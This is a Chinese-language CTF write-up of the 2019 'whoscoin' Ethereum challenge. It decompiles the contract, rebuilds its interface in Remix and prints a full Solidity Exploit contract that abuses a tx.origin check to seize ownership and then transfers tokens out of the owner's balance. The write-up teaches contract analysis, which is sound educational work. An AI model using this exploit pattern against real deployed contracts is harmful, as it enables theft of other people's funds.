主要介绍Ethernet(以太坊)的基于solidity的智能合约交互。分析题目并不是为了求解,而是为了解释每一步为什么这么做,是否有效。
需要事先配置redmix-idehttp://remix.ethereum.org/和metamask钱包环境,环境配置见solidity的官方文档,我使用的Chorme,火狐浏览器不知道为何总是无法找到Solidity编译器。
以下合约来自solidity官方文档的第一个例子。调用set
函数可以修改变量 paswd
为某个整数,网络上的所有用户都能调用look
查看此变量。
pragma solidity ^0.4.18; contract Instacne{ uint256 public paswd; function set(uint256 _parm)public { paswd = _parm; } function look () public returns(uint256) { return paswd; } }
在Ropsten网络部署后得到地址0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD
通过在线逆向网站得到反编译代码和二进制程序接口信息(ABI)
https://contract-library.com/contracts/Ropsten/0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD
这个网站反编译的代码比较方便阅读但其实可能会有问题,https://ethervm.io/decompile反编译代码会更加底层,能正确反应源代码逻辑。这个问题我们在0x03实战分析中展开讨论。
部分反编译代码
uint256 _look; // STORAGE[0x0] function set(uint256 varg0) public { require(!msg.value); _look = varg0; exit(); } function look() public { require(!msg.value); return _look; }
ABI:
[{"constant":false,"inputs":[],"name":"look","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_parm","type":"uint256"}],"name":"set","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paswd","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]
ABI 是一个Json文件,记录每一个函数的调用方法。部分字段意义如下
字段 | 类型 | 含义 |
---|---|---|
constant | bool | 是否为常量函数 |
input | json | 输入值类型 |
output | json | 输出值类型 |
payable | bool | 是否标志为payable |
stateMutability | str | 其他函数标志 |
这里介绍一些Solidity和区块链概念:
交易:无论是否涉及金钱交易,所有需要在链上
写
的操作都认为是交易。状态:状态变量是永久地存储在合约存储中的值。声明为
constant
的变量表示常量,并不存储在合约的storage。函数标志:可以设置函数可以访问哪些状态。比较重要的是设置为
view
后,我们可以直接拿到函数返回值,而不需要进行交易(签名发布区块链)。参考官方文档:https://solidity-cn.readthedocs.io/zh/develop/contracts.html#functions常量函数:solidity声明一个名为sample的 public 变量后会生成一个同名函数(sample),该函数无输入但是带有
view
标志,可以直接返回该变量的值。
从ABI可知, set函数和look函数的输入输出格式如下:
函数名 | input | output |
---|---|---|
set | uint256 _parm | NULL |
look | NULL | uint256 |
于是可以逆向得到函数声明。
function paswd() view returns(uint256); function set(uint256 _parm); function look() returns (uint256);
阅读反编译代码可以大体得知函数功能,如果要将所有代码逆向成源代码虽然方便本地调试,但其实是比较困难的。我推荐逆向出所需的函数声明后,用Remix,部署此虚合约(abstract contract)
到原合约地址上,再利用Remix的接口调用函数。
声明虚合约后,可以利用Remix,部署在原合约地址就可以直接调用了。
如果要跨合约调用的话,可以直接实例化虚合约,调用自己编写的合约即可,比如以下例子。
pragma solidity ^0.4.18; contract Contract{//虚合约 function paswd() view returns(uint256); function set(uint256 _parm) ; function look() returns (uint256); } contract Exploit {//攻击合约 Contract instance; function Exploit(){//构造函数 address _parm = 0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD; instance = Contract(_parm);//实例化目标合约 } function set(uint256 _parm){ instance.set(_parm); } function look() view returns(uint256){ return instance.look(); } }
题目来自于2019年第二届安洵杯的 whoscoin
,题目不涉及安全问题,只要用户按照一定规则调用函数即可获取flag。
原题在成功调用特定事件后,有一个flag会发送flag到选手指定邮箱上。现在这个环境已经没了,我们在私有链上测试,如果监听到这个事件就认为成功获取flag。
原题目合约地址:0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3
编译题目源码(在文末给出)后,使用账户0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C
部署题目到0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058
。此时完成环境部署,虽然用到源码,但只是为了模拟比赛环境。接下来我们在无源码为前提,逆向此合约。
私有链的合约地址:0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058
在线反编译网站找不到私有链上的合约,所以我们这里反编译原题合约
https://contract-library.com/contracts/Ropsten/0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3
contract Instance{ uint256 _decimals; // STORAGE[0x0] uint256 _totalSupply; // STORAGE[0x1] uint256 _owner; // STORAGE[0x2] uint256 _transferFrom; // STORAGE[0x3] uint256 _allowance; // STORAGE[0x4] function transferFrom(address varg0, address varg1, uint256 varg2) public { require(!msg.value); require(address(varg1) != 0x0); require(_transferFrom[address(varg0)][0] >= varg2); require((_transferFrom[address(varg1)][0] + varg2) > _transferFrom[address(varg1)][0]);//varg2 > 0 _transferFrom[address(varg0)] = (_transferFrom[address(varg0)][0] - varg2); _transferFrom[address(varg1)] = (_transferFrom[address(varg1)][0] + varg2); _allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2); require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0])); v738 = 0x1; return v738; } function decimals() public { require(!msg.value); v752 = 0xff & _decimals >> 0; return (0xff & (0xff & v752)); } function payforflag(string varg0) public { require(!msg.value); v1fb = new bytes[](varg0.length); freeMemPtr = v1fb + (0x20 + varg0.length + 31 >> 5 << 5); CALLDATACOPY(v1fb.data, varg0 + 36, varg0.length); v760_0x0 = balanceOf_impl(msg.sender, 0x761); require(v760_0x0 >= 0x2710); require(address(_owner >> 0) == address(msg.sender)); v7f8 = new array[](v1fb.length); v81e_0x0 = v813 = 0x0; while (1) { if (v81e_0x0 >= v1fb.length) break; MEM[v7f8.data + v81e_0x0] = MEM[v1fb.data + v81e_0x0]; v81e_0x0 = v81e_0x0 + 32; continue; } if (0x1f & v1fb.length) { MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))] = ~((0x100 ** (0x20 - (0x1f & v1fb.length))) - 0x1) & MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))]; } v85d_0x1 = new array[](0x6); MEM[v85d_0x1.data] = 0x627261766f210000000000000000000000000000000000000000000000000000; emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1); exit(); } function balanceOf(address varg0) public { require(!msg.value); v25c_0x0 = balanceOf_impl(varg0, 0x25d); return v25c_0x0; } function owner() public { require(!msg.value); v90e = address(_owner >> 0); return address(v90e); } function changeOwner(address varg0) public { require(!msg.value); if (address(tx.origin) != address(msg.sender)) { _owner = address(varg0) << 0 | (~0xffffffffffffffffffffffffffffffffffffffff << 0 & _owner); } exit(); } function allowance(address varg0, address varg1) public { require(!msg.value); return _allowance[address(varg1)][0]; } function balanceOf_impl(uint256 v8a2arg0x0, uint256 v8a2arg0x1) private { v8bf = address(v8a2arg0x0); return _transferFrom[address(v8bf)][0]; // to v8a2arg0x1 } function approve(address varg0, uint256 varg1) public { require(!msg.value); _allowance[address(varg0)] = varg1; v3f1 = 0x1; return v3f1; } function totalSupply() public { require(!msg.value); return _totalSupply; } }
ABI如下
[{"name":"__function_selector__","type":"function","inputs":[{"name":"function_selector","type":"uint32"}]},{"name":"approve","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"uint256"}]},{"name":"totalSupply","type":"function","inputs":[]},{"name":"transferFrom","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"address"},{"name":"varg2","type":"uint256"}]},{"name":"decimals","type":"function","inputs":[]},{"name":"payforflag","type":"function","inputs":[{"name":"varg0","type":"string"}]},{"name":"balanceOf","type":"function","inputs":[{"name":"varg0","type":"address"}]},{"name":"owner","type":"function","inputs":[]},{"name":"changeOwner","type":"function","inputs":[{"name":"varg0","type":"address"}]},{"name":"allowance","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"address"}]}]
从ABI可以得到函数声明如下:
函数名 | input | output |
---|---|---|
approve | address varg0, uint256 varg1 | bool |
allowance | address varg0, address varg1 | uint256 |
changeOwner | address varg0 | NULL |
balanceOf | address varg0 | uint256 |
transferFrom | address varg0, address varg1, uint256 varg2 | bool |
owner | NULL | address |
payforflag | string | NULL |
下面依次分析各函数。可以先看攻击链构造再回来看这部分,选择先介绍函数功能是因为做题的时候我习惯于如此。
功能:设置地址varg0
的allowance
修改为 varg1
反汇编函数如下,有bool类型返回值,为其添加returns语句。
//原函数 function approve(address varg0, uint256 varg1) public { require(!msg.value); _allowance[address(varg0)] = varg1; v3f1 = 0x1; return v3f1; } //函数声明 function approve(address varg0, uint256 varg1) public returns(bool success);
其实这里在线反编译完整给出的代码是和实际功能有出入的。我们用这个网站https://ethervm.io/decompile/ropsten/0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3#dispatch_23b872dd分析的话,发现approve函数其实是修改调用者对arg0账户的allowance。也就是说allowance大概率是一个映射的映射,记录的是哪个账户对哪个账户的可操作金额。
我也是部署攻击合约后发现approve函数调用失败才发现问题的,算是一个坑吧。
功能:返回地址varg1
的allowance
值
发现有uint256类型返回值
function allowance(address varg0, address varg1) public { require(!msg.value); return _allowance[address(varg1)][0]; } //函数声明 function allowance(address varg0, address varg1) public returns(uint256);
这里同样存在和approve函数类似的问题
功能:返回合约所有者,类型为address
function owner() public { require(!msg.value); v90e = address(_owner >> 0); return address(v90e); } //函数声明 function owner() public returns(address);
功能:修改合约所有者_owner
为指定地址
无返回值
function changeOwner(address varg0) public { require(!msg.value); if (address(tx.origin) != address(msg.sender)) { _owner = address(varg0) << 0 | (~0xffffffffffffffffffffffffffffffffffffffff << 0 & _owner); } exit(); } //函数声明 function changeOwner(address varg0) public;
function balanceOf(address varg0) public { require(!msg.value); v25c_0x0 = balanceOf_impl(varg0, 0x25d); return v25c_0x0; } //函数声明 function balanceOf(address varg0) public payable returns(uint256);
功能:指定用户A给用户B转账C金额。
function transferFrom(address varg0, address varg1, uint256 varg2) public { require(!msg.value); require(address(varg1) != 0x0); require(_transferFrom[address(varg0)][0] >= varg2); require((_transferFrom[address(varg1)][0] + varg2) > _transferFrom[address(varg1)][0]); _transferFrom[address(varg0)] = (_transferFrom[address(varg0)][0] - varg2);//1 _transferFrom[address(varg1)] = (_transferFrom[address(varg1)][0] + varg2);//10000 _allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2); require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0])); v738 = 0x1; return v738; } //函数声明 function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool success);
大意:包含几个require
条件,满足后发送flag邮件。
//函数声明 function payforflag(string _parm) payable public;
完整虚合约如下:
contract Instance{ uint256 _decimals; // STORAGE[0x0] uint256 _totalSupply; // STORAGE[0x1] address _owner; // STORAGE[0x2] function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool); function balanceOf(address varg0) public payable returns(uint256); function payforflag(string _parm) payable public; function owner() public view returns(address); function changeOwner(address varg0) public; function allowance(address varg0, address varg1) view public returns(uint256); function approve(address varg0, uint256 varg1) public returns(bool); function totalSupply() view public returns(uint256) ; }
将虚合约部署在原合约地址0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058
上。
调用totalSuply
函数,单击即可得到 15000000000000000000000000000
调用owner
函数,即可得到原合约的创立者地址0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C
如果直接调用payforflag
函数,因为条件不满足,所以合约调用会失败,接下来我们分析反编译代码,寻求解题方法。
function payforflag(string varg0) public { require(!msg.value); v1fb = new bytes[](varg0.length); freeMemPtr = v1fb + (0x20 + varg0.length + 31 >> 5 << 5); CALLDATACOPY(v1fb.data, varg0 + 36, varg0.length); v760_0x0 = balanceOf_impl(msg.sender, 0x761); require(v760_0x0 >= 0x2710); require(address(_owner >> 0) == address(msg.sender)); v7f8 = new array[](v1fb.length); v81e_0x0 = v813 = 0x0; while (1) { if (v81e_0x0 >= v1fb.length) break; MEM[v7f8.data + v81e_0x0] = MEM[v1fb.data + v81e_0x0]; v81e_0x0 = v81e_0x0 + 32; continue; } if (0x1f & v1fb.length) { MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))] = ~((0x100 ** (0x20 - (0x1f & v1fb.length))) - 0x1) & MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))]; } v85d_0x1 = new array[](0x6); MEM[v85d_0x1.data] = 0x627261766f210000000000000000000000000000000000000000000000000000; emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);// exit(); }
三个require条件
msg.value == 0
balanceOf_impl(msg.sender, 0x761) >= 0x2710
调用者的存款需大于 10000(0x2710)。使用transferFrom函数修改存款
address(_owner >> 0) == address(msg.sender)
当前合约owner为调用者。使用changeOwner修改调用者为攻击合约地址。
我们可以看到有大量涉及数组的操作,但其实这些操作并不会影响最终flag邮件事件的参数,只要满足三个require条件就能正确调用事件。
CALLDATACOPY
将函数参数varg0
拷贝到v1fb
,while
循环再将v1fb
数据拷贝到v1f8
。实际上事件的第一个参数v1f8
就是函数参数varg0
。事件的第二个参数
x85d_0x1
使用16进制解码后,即为'bravo!'
emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);
修改所有者
这里要求合约调用者不是交易的原始调用者。因此我们需要编写攻击合约,让攻击合约调用changeOwner
函数。传入的值为攻击合约的地址。
//简化后的代码 function changeOwner(address varg0) public { require(!msg.value); if (tx.origin != msg.sender) { _owner = address(varg0) } }
调用 owner
函数可以验证是否成功修改。
transferFrom
能够转移两个账户的存款。为了实现转账,我们需要满足以下几个条件
msg.value == 0
varg1 != 0
_transferFrom\[address(varg0)\][0] >= varg2
转账金额小于等于varg0
用户的存款
(_transferFrom\[address(varg1)\][0] + varg2) > _transferFrom\[address(varg1)\][0]
转账金额大于0
allowance
限制
实际上就算不管此条件,还是能够成功转账。应该就是之前说的_allowance 是一个映射的映射,在线反编译器不能很好地翻译。(也有可能是我看不懂QAQ)
_allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2); require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
攻击合约调用
changeOwner(this) -> transferFrom(origin_owner, this, 10000)-> payforflag(b64email)
变量名 | 含义 |
---|---|
this | 攻击合约地址 |
origin_owner | 原合约所有者地址 |
b64email | 自己邮件地址的base64编码 |
EXP代码如下:
pragma solidity ^0.4.18; contract Instance{ uint256 _decimals; // STORAGE[0x0] uint256 _totalSupply; // STORAGE[0x1] address _owner; // STORAGE[0x2] function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool); function balanceOf(address varg0) public payable returns(uint256); function payforflag(string _parm) payable public; function owner() public view returns(address); function changeOwner(address varg0) public; function allowance(address varg0, address varg1) view public returns(uint256); function approve(address varg0, uint256 varg1) public returns(bool); function totalSupply() view public returns(uint256) ; } contract Exploit{ Instance instance; address _adr = 0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058; address public Bank_adr; function Exploit(){ instance = Instance(_adr); Bank_adr = instance.owner(); } function changeOwner() public{ instance.changeOwner(this); } function resertOwner() public{ address _parm = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C; instance.changeOwner(_parm); } function balanceOfBank ()view public returns(uint256){ return instance.balanceOf(Bank_adr); } function balanceOfExploit ()view public returns(uint256){ address _parm = this; return instance.balanceOf(_parm); } function approve (address _parm, uint256 mount) public returns(bool){ instance.approve(_parm, mount); } function transferFrom() public payable { instance.transferFrom(Bank_adr, this, 10000); } function allowanceOfBank()view public returns(uint256){ return instance.allowance(this , Bank_adr); } function allowanceOfExploit ()view public returns(uint256){ return instance.allowance(this, this); } function payforflag() payable public{ instance.payforflag("Y3dtankxMzE0QDEyNi5jb20="); } }
修改合约所有者为攻击合约
执行changOwner修改所有者。点击owner方法查看owner是否被修改为攻击合约地址
给攻击合约转账
一开始攻击合约无存款,原合约所有者拥有许多存款(这里测试过几次,所以金额不是15000....0了,但是不影响验证)。
点击transferFrom方法给攻击合约转账10000,再查看攻击合约存款,发现有10000,原合约所有者存款少10000
调用payforflag
各条件满足,事件被调用,相当于成功获取flag。
Solidity的官方文档还是讲的很明白的,基本上需要的答案都能直接搜索出来。
我对智能合约了解还不深入,写下本文主要是之前不知如何调用智能合约函数,网上查到的资源非常零散。但通过不断实验还是找到了一套解决办法,希望能帮到有需要的同学。
如有纰漏,还请各位海涵。
solidity 文档中安装环境的教程
https://solidity-cn.readthedocs.io/zh/develop/installing-solidity.html
solidity关于映射的映射的解释:
https://solidity-cn.readthedocs.io/zh/develop/miscellaneous.html#storage
在线反编译合约网站1:https://contract-library.com/
whoscoin
作者发布源代码在https://github.com/D0g3-Lab/i-SOON_CTF_2019